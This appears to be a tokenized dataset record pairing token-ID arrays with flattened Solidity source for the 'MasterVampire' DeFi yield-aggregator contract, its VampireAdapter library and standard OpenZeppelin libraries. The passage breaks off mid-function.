[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 16351, 453, 623, 4411, 510, 6159, 353, 14223, 6914, 288, 203, 565, 1450, 14060, 10477, 364, 2254, 5034, 31, 203, 565, 1450, 14060, 654, 39, 3462, 364, 467, 654, 39, 3462, 31, 203, 683, 9454, 18035, 560, 374, 18, 27, 18, 25, 31, 203, 565, 1958, 25003, 288, 203, 565, 289, 203, 565, 1958, 8828, 966, 288, 203, 565, 289, 203, 565, 871, 4019, 538, 305, 12, 2867, 8808, 729, 16, 2254, 5034, 8808, 4231, 16, 2254, 5034, 3844, 1769, 203, 565, 871, 3423, 9446, 12, 2867, 8808, 729, 16, 2254, 5034, 8808, 4231, 16, 2254, 5034, 3844, 1769, 203, 565, 871, 512, 6592, 75, 2075, 1190, 9446, 12, 203, 3639, 1758, 8808, 729, 16, 203, 3639, 2254, 5034, 8808, 4231, 16, 203, 3639, 2254, 5034, 3844, 203, 565, 11272, 203, 203, 565, 3885, 12, 203, 3639, 453, 623, 4411, 1345, 389, 909, 16, 203, 3639, 2254, 5034, 389, 909, 2173, 1768, 16, 203, 3639, 2254, 5034, 389, 1937, 1768, 16, 203, 3639, 2254, 5034, 389, 18688, 407, 1638, 1768, 203, 565, 453, 623, 4411, 1345, 1071, 293, 623, 31, 203, 565, 2254, 5034, 1071, 324, 22889, 1638, 1768, 31, 203, 565, 2254, 5034, 1071, 293, 623, 2173, 1768, 31, 203, 565, 2254, 5034, 1071, 5381, 605, 673, 3378, 67, 24683, 2053, 654, 273, 1728, 31, 203, 565, 8828, 966, 8526, 1071, 2845, 966, 31, 203, 565, 2874, 12, 11890, 5034, 516, 2874, 12, 2867, 516, 25003, 3719, 1071, 16753, 31, 203, 565, 2254, 5034, 1071, 2078, 8763, 2148, 273, 374, 31, 203, 565, 2 ]
// SPDX-License-Identifier: MIT pragma solidity ^0.7.6; import "@openzeppelin/contracts/math/Math.sol"; import "./IMasterVampire.sol"; import "./IIBVEth.sol"; contract MasterVampire is IMasterVampire, ChiGasSaver { using SafeMath for uint256; using SafeERC20 for IERC20; using VampireAdapter for Victim; // (_ _) // /\ /\ // / \'._ (\_/) _.'/ \ // /_.''._'--('.')--'_.''._\ // | \_ / `;=/ " \=;` \ _/ | // \/ `\__|`\___/`|__/` \/ // jgs` \(/|\)/ ` // " ` " event Deposit(address indexed user, uint256 indexed pid, uint256 amount); event Withdraw(address indexed user, uint256 indexed pid, uint256 amount); event EmergencyWithdraw(address indexed user, uint256 indexed pid, uint256 amount); event ETHValue(uint256 amount); IWETH immutable weth; modifier onlyDev() { require(devAddress == msg.sender, "not dev"); _; } modifier onlyRewardUpdater() { require(poolRewardUpdater == msg.sender, "not reward updater"); _; } constructor( address _drainAddress, address _drainController, address _IBVETH, address _weth ) { drainAddress = _drainAddress; drainController = _drainController; devAddress = msg.sender; poolRewardUpdater = msg.sender; IBVETH = _IBVETH; weth = IWETH(_weth); } /** * @notice Allow depositing ether to the contract */ receive() external payable {} function poolLength() external view returns (uint256) { return poolInfo.length; } function add(Victim _victim, uint256 _victimPoolId) external onlyOwner { poolInfo.push(PoolInfo({ victim: _victim, victimPoolId: _victimPoolId, lastRewardBlock: block.number, accWethPerShare: 0, wethAccumulator: 0, basePoolShares: 0, baseDeposits: 0 })); } function updateDistributionPeriod(uint256 _distributionPeriod) external onlyRewardUpdater { distributionPeriod = _distributionPeriod; } function updateWithdrawPenalty(uint256 _withdrawalPenalty) external onlyRewardUpdater { withdrawalPenalty = _withdrawalPenalty; } function updateVictimAddress(uint256 _pid, address _victim) external onlyOwner { poolInfo[_pid].victim = Victim(_victim); } function updateVictimInfo(uint256 _pid, address _victim, uint256 _victimPoolId) external onlyOwner { poolInfo[_pid].victim = Victim(_victim); poolInfo[_pid].victimPoolId = _victimPoolId; } function updatePoolDrain(uint256 _wethDrainModifier) external onlyOwner { wethDrainModifier = _wethDrainModifier; } function updateDevAddress(address _devAddress) external onlyDev { devAddress = _devAddress; } function updateDrainAddress(address _drainAddress) external onlyOwner { drainAddress = _drainAddress; } function updateIBEthStrategy(address _ibveth) external onlyOwner { IBVETH = _ibveth; (bool success,) = address(IBVETH).delegatecall(abi.encodeWithSignature("migrate()")); require(success, "migrate() delegatecall failed."); } function updateDrainController(address _drainController) external onlyOwner { drainController = _drainController; } function updateRewardUpdaterAddress(address _poolRewardUpdater) external onlyOwner { poolRewardUpdater = _poolRewardUpdater; } function pendingWeth(uint256 _pid, address _user) public view returns (uint256) { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][_user]; uint256 accWethPerShare = pool.accWethPerShare; uint256 lpSupply = pool.victim.lockedAmount(pool.victimPoolId); if (block.number > pool.lastRewardBlock && lpSupply != 0) { uint256 blocksToReward = block.number.sub(pool.lastRewardBlock); uint256 wethReward = blocksToReward.mul(pool.wethAccumulator).div(distributionPeriod); accWethPerShare = accWethPerShare.add(wethReward.mul(1e12).div(lpSupply)); } return user.amount.mul(accWethPerShare).div(1e12).sub(user.rewardDebt); } function pendingWethReal(uint256 _pid, address _user) external returns (uint256) { uint256 ibETH = pendingWeth(_pid, _user); uint256 ethVal = IIBVEth(IBVETH).ibETHValue(ibETH); emit ETHValue(ethVal); return ethVal; } function pendingVictimReward(uint256 pid) external view returns (uint256) { PoolInfo storage pool = poolInfo[pid]; return pool.victim.pendingReward(pid, pool.victimPoolId); } function poolAccWeth(uint256 pid) external view returns (uint256) { PoolInfo storage pool = poolInfo[pid]; return pool.wethAccumulator; } function massUpdatePools() external { uint256 length = poolInfo.length; for (uint256 pid = 0; pid < length; ++pid) { updatePool(pid); } } function updatePool(uint256 pid) public { PoolInfo storage pool = poolInfo[pid]; if (block.number <= pool.lastRewardBlock) { return; } uint256 lpSupply = pool.victim.lockedAmount(pool.victimPoolId); if (lpSupply == 0) { pool.lastRewardBlock = block.number; return; } uint256 blocksToReward = block.number.sub(pool.lastRewardBlock); uint256 wethReward = Math.min(blocksToReward.mul(pool.wethAccumulator).div(distributionPeriod), pool.wethAccumulator); pool.accWethPerShare = pool.accWethPerShare.add(wethReward.mul(1e12).div(lpSupply)); pool.lastRewardBlock = block.number; pool.wethAccumulator = pool.wethAccumulator.sub(wethReward); } function deposit(uint256 pid, uint256 amount, uint8 flag) external nonReentrant saveGas(flag) { PoolInfo storage pool = poolInfo[pid]; UserInfo storage user = userInfo[pid][msg.sender]; user.coolOffTime = block.timestamp + 24 hours; updatePool(pid); if (user.amount > 0) { _claim(pid, false, flag); } if (amount > 0) { pool.victim.lockableToken(pool.victimPoolId).safeTransferFrom(address(msg.sender), address(this), amount); uint256 shares = pool.victim.deposit(pool.victimPoolId, amount); if (shares > 0) { pool.basePoolShares = pool.basePoolShares.add(shares); pool.baseDeposits = pool.baseDeposits.add(amount); user.poolShares = user.poolShares.add(shares); } user.amount = user.amount.add(amount); } user.rewardDebt = user.amount.mul(pool.accWethPerShare).div(1e12); emit Deposit(msg.sender, pid, amount); } function withdraw(uint256 pid, uint256 amount, uint8 flag) external nonReentrant saveGas(flag) { PoolInfo storage pool = poolInfo[pid]; UserInfo storage user = userInfo[pid][msg.sender]; require(user.amount >= amount, "withdraw: not good"); updatePool(pid); _claim(pid, true, flag); if (amount > 0) { user.amount = user.amount.sub(amount); uint256 shares = pool.victim.withdraw(pool.victimPoolId, amount); if (shares > 0) { pool.basePoolShares = pool.basePoolShares.sub(shares); pool.baseDeposits = pool.baseDeposits.sub(amount); user.poolShares = user.poolShares.sub(shares); } pool.victim.lockableToken(pool.victimPoolId).safeTransfer(address(msg.sender), amount); } user.rewardDebt = user.amount.mul(pool.accWethPerShare).div(1e12); emit Withdraw(msg.sender, pid, amount); } function claim(uint256 pid, uint8 flag) external nonReentrant saveGas(flag) { PoolInfo storage pool = poolInfo[pid]; UserInfo storage user = userInfo[pid][msg.sender]; updatePool(pid); _claim(pid, false, flag); user.rewardDebt = user.amount.mul(pool.accWethPerShare).div(1e12); } function emergencyWithdraw(uint256 pid) external nonReentrant { PoolInfo storage pool = poolInfo[pid]; UserInfo storage user = userInfo[pid][msg.sender]; pool.victim.withdraw(pool.victimPoolId, user.amount); pool.victim.lockableToken(pool.victimPoolId).safeTransfer(address(msg.sender), user.amount); emit EmergencyWithdraw(msg.sender, pid, user.amount); user.amount = 0; user.rewardDebt = 0; user.poolShares = 0; } /// Can only be called by DrainController function drain(uint256 pid) external { require(drainController == msg.sender, "not drainctrl"); PoolInfo storage pool = poolInfo[pid]; Victim victim = pool.victim; uint256 victimPoolId = pool.victimPoolId; victim.claimReward(pid, victimPoolId); IERC20 rewardToken = victim.rewardToken(pid); uint256 claimedReward = rewardToken.balanceOf(address(this)); if (claimedReward == 0) { return; } uint256 wethReward = victim.sellRewardForWeth(pid, claimedReward, address(this)); // Take a % of the drained reward to be redistributed to other contracts uint256 wethDrainAmount = wethReward.mul(wethDrainModifier).div(1000); if (wethDrainAmount > 0) { weth.transfer(drainAddress, wethDrainAmount); wethReward = wethReward.sub(wethDrainAmount); } // Remainder of rewards go to users of the drained pool as interest-bearing ETH uint256 ibethBefore = IIBVEth(IBVETH).balance(address(this)); (bool success,) = IBVETH.delegatecall(abi.encodeWithSignature("handleDrainedWETH(uint256)", wethReward)); require(success, "handleDrainedWETH(uint256 amount) delegatecall failed."); uint256 ibethAfter = IIBVEth(IBVETH).balance(address(this)); pool.wethAccumulator = pool.wethAccumulator.add(ibethAfter.sub(ibethBefore)); } /// This function allows owner to take unsupported tokens out of the contract. /// It also allows for removal of airdropped tokens. function recoverUnsupported(IERC20 token, uint256 amount, address to) external onlyOwner { uint256 length = poolInfo.length; for (uint256 pid = 0; pid < length; ++pid) { PoolInfo storage pool = poolInfo[pid]; IERC20 lpToken = pool.victim.lockableToken(pool.victimPoolId); // cant take staked asset require(token != lpToken, "!pool.lpToken"); } // transfer to token.safeTransfer(to, amount); } /// Claim rewards from pool function _claim(uint256 pid, bool withdrawing, uint8 flag) internal { PoolInfo storage pool = poolInfo[pid]; UserInfo storage user = userInfo[pid][msg.sender]; uint256 pending = user.amount.mul(pool.accWethPerShare).div(1e12).sub(user.rewardDebt); if (pending > 0) { if (withdrawing && withdrawalPenalty > 0 && block.timestamp < user.coolOffTime) { uint256 fee = pending.mul(withdrawalPenalty).div(1000); pending = pending.sub(fee); pool.wethAccumulator = pool.wethAccumulator.add(fee); } (bool success,) = address(IBVETH).delegatecall(abi.encodeWithSignature("handleClaim(uint256,uint8)", pending, flag)); require(success, "handleClaim(uint256 pending, uint8 flag) delegatecall failed."); } } function _safeWethTransfer(address to, uint256 amount) internal { uint256 balance = weth.balanceOf(address(this)); if (amount > balance) { weth.transfer(to, balance); } else { weth.transfer(to, amount); } } } // SPDX-License-Identifier: MIT pragma solidity ^0.7.0; /** * @dev Standard math utilities missing in the Solidity language. */ library Math { /** * @dev Returns the largest of two numbers. */ function max(uint256 a, uint256 b) internal pure returns (uint256) { return a >= b ? a : b; } /** * @dev Returns the smallest of two numbers. */ function min(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } /** * @dev Returns the average of two numbers. The result is rounded towards * zero. */ function average(uint256 a, uint256 b) internal pure returns (uint256) { // (a + b) / 2 can overflow, so we distribute return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2); } } // SPDX-License-Identifier: MIT pragma solidity ^0.7.6; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol"; import "@openzeppelin/contracts/math/SafeMath.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/utils/ReentrancyGuard.sol"; import "./VampireAdapter.sol"; import "./ChiGasSaver.sol"; /** * @title Interface for MV and adapters that follows the `Inherited Storage` pattern * This allows adapters to add storage variables locally without causing collisions. * Adapters simply need to inherit this interface so that new variables are appended. */ abstract contract IMasterVampire is Ownable, ReentrancyGuard { using SafeMath for uint256; using SafeERC20 for IERC20; using VampireAdapter for Victim; struct UserInfo { uint256 amount; uint256 rewardDebt; uint256 coolOffTime; uint256 poolShares; } struct PoolInfo { Victim victim; uint256 victimPoolId; uint256 lastRewardBlock; uint256 accWethPerShare; uint256 wethAccumulator; // Base amount of shares from user deposits for victims that return shares for the pool. uint256 basePoolShares; uint256 baseDeposits; } address public IBVETH; address public drainController; address public drainAddress; address public poolRewardUpdater; address public devAddress; uint256 public distributionPeriod = 6519; // Blocks in 24 hour period uint256 public withdrawalPenalty = 10; uint256 public wethDrainModifier = 150; // Info of each pool PoolInfo[] public poolInfo; // Info of each user that stakes LP tokens mapping (uint256 => mapping (address => UserInfo)) public userInfo; } // SPDX-License-Identifier: MIT pragma solidity ^0.7.6; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "./interfaces/IWETH.sol"; /** * @title Interface for interest bearing ETH strategies */ abstract contract IIBVEth { IWETH immutable WETH; constructor(address weth) { WETH = IWETH(weth); } function handleDrainedWETH(uint256 amount) external virtual; function handleClaim(uint256 pending, uint8 flag) external virtual; function migrate() external virtual; function ibToken() external view virtual returns(IERC20); function balance(address account) external view virtual returns(uint256); function ethBalance(address account) external virtual returns(uint256); function ibETHValue(uint256 amount) external virtual returns (uint256); function _safeETHTransfer(address payable to, uint256 amount) internal virtual { uint256 _balance = address(this).balance; if (amount > _balance) { to.transfer(_balance); } else { to.transfer(amount); } } } // SPDX-License-Identifier: MIT pragma solidity ^0.7.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity ^0.7.0; import "./IERC20.sol"; import "../../math/SafeMath.sol"; import "../../utils/Address.sol"; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // SPDX-License-Identifier: MIT pragma solidity ^0.7.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryDiv}. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } } // SPDX-License-Identifier: MIT pragma solidity ^0.7.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // SPDX-License-Identifier: MIT pragma solidity ^0.7.0; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor () { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } // SPDX-License-Identifier: MIT pragma solidity ^0.7.6; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; contract Victim {} library VampireAdapter { // Victim info function rewardToken(Victim victim, uint256 poolId) external view returns (IERC20) { (bool success, bytes memory result) = address(victim).staticcall(abi.encodeWithSignature("rewardToken(uint256)", poolId)); require(success, "rewardToken(uint256) staticcall failed."); return abi.decode(result, (IERC20)); } function rewardValue(Victim victim, uint256 poolId, uint256 amount) external view returns (uint256) { (bool success, bytes memory result) = address(victim).staticcall(abi.encodeWithSignature("rewardValue(uint256,uint256)", poolId, amount)); require(success, "rewardValue(uint256,uint256) staticcall failed."); return abi.decode(result, (uint256)); } function poolCount(Victim victim) external view returns (uint256) { (bool success, bytes memory result) = address(victim).staticcall(abi.encodeWithSignature("poolCount()")); require(success, "poolCount() staticcall failed."); return abi.decode(result, (uint256)); } function sellableRewardAmount(Victim victim, uint256 poolId) external view returns (uint256) { (bool success, bytes memory result) = address(victim).staticcall(abi.encodeWithSignature("sellableRewardAmount(uint256)", poolId)); require(success, "sellableRewardAmount(uint256) staticcall failed."); return abi.decode(result, (uint256)); } // Victim actions function sellRewardForWeth(Victim victim, uint256 poolId, uint256 rewardAmount, address to) external returns(uint256) { (bool success, bytes memory result) = address(victim).delegatecall(abi.encodeWithSignature("sellRewardForWeth(address,uint256,uint256,address)", address(victim), poolId, rewardAmount, to)); require(success, "sellRewardForWeth(uint256,address) delegatecall failed."); return abi.decode(result, (uint256)); } // Pool info function lockableToken(Victim victim, uint256 poolId) external view returns (IERC20) { (bool success, bytes memory result) = address(victim).staticcall(abi.encodeWithSignature("lockableToken(uint256)", poolId)); require(success, "lockableToken(uint256) staticcall failed."); return abi.decode(result, (IERC20)); } function lockedAmount(Victim victim, uint256 poolId) external view returns (uint256) { // note the impersonation (bool success, bytes memory result) = address(victim).staticcall(abi.encodeWithSignature("lockedAmount(address,uint256)", address(this), poolId)); require(success, "lockedAmount(uint256) staticcall failed."); return abi.decode(result, (uint256)); } function pendingReward(Victim victim, uint256 poolId, uint256 victimPoolId) external view returns (uint256) { // note the impersonation (bool success, bytes memory result) = address(victim).staticcall(abi.encodeWithSignature("pendingReward(address,uint256,uint256)", address(victim), poolId, victimPoolId)); require(success, "pendingReward(address,uint256,uint256) staticcall failed."); return abi.decode(result, (uint256)); } // Pool actions function deposit(Victim victim, uint256 poolId, uint256 amount) external returns (uint256) { (bool success, bytes memory result) = address(victim).delegatecall(abi.encodeWithSignature("deposit(address,uint256,uint256)", address(victim), poolId, amount)); require(success, "deposit(uint256,uint256) delegatecall failed."); return abi.decode(result, (uint256)); } function withdraw(Victim victim, uint256 poolId, uint256 amount) external returns (uint256) { (bool success, bytes memory result) = address(victim).delegatecall(abi.encodeWithSignature("withdraw(address,uint256,uint256)", address(victim), poolId, amount)); require(success, "withdraw(uint256,uint256) delegatecall failed."); return abi.decode(result, (uint256)); } function claimReward(Victim victim, uint256 poolId, uint256 victimPoolId) external { (bool success,) = address(victim).delegatecall(abi.encodeWithSignature("claimReward(address,uint256,uint256)", address(victim), poolId, victimPoolId)); require(success, "claimReward(uint256,uint256) delegatecall failed."); } function emergencyWithdraw(Victim victim, uint256 poolId) external { (bool success,) = address(victim).delegatecall(abi.encodeWithSignature("emergencyWithdraw(address,uint256)", address(victim), poolId)); require(success, "emergencyWithdraw(uint256) delegatecall failed."); } // Service methods function poolAddress(Victim victim, uint256 poolId) external view returns (address) { (bool success, bytes memory result) = address(victim).staticcall(abi.encodeWithSignature("poolAddress(uint256)", poolId)); require(success, "poolAddress(uint256) staticcall failed."); return abi.decode(result, (address)); } function rewardToWethPool(Victim victim) external view returns (address) { (bool 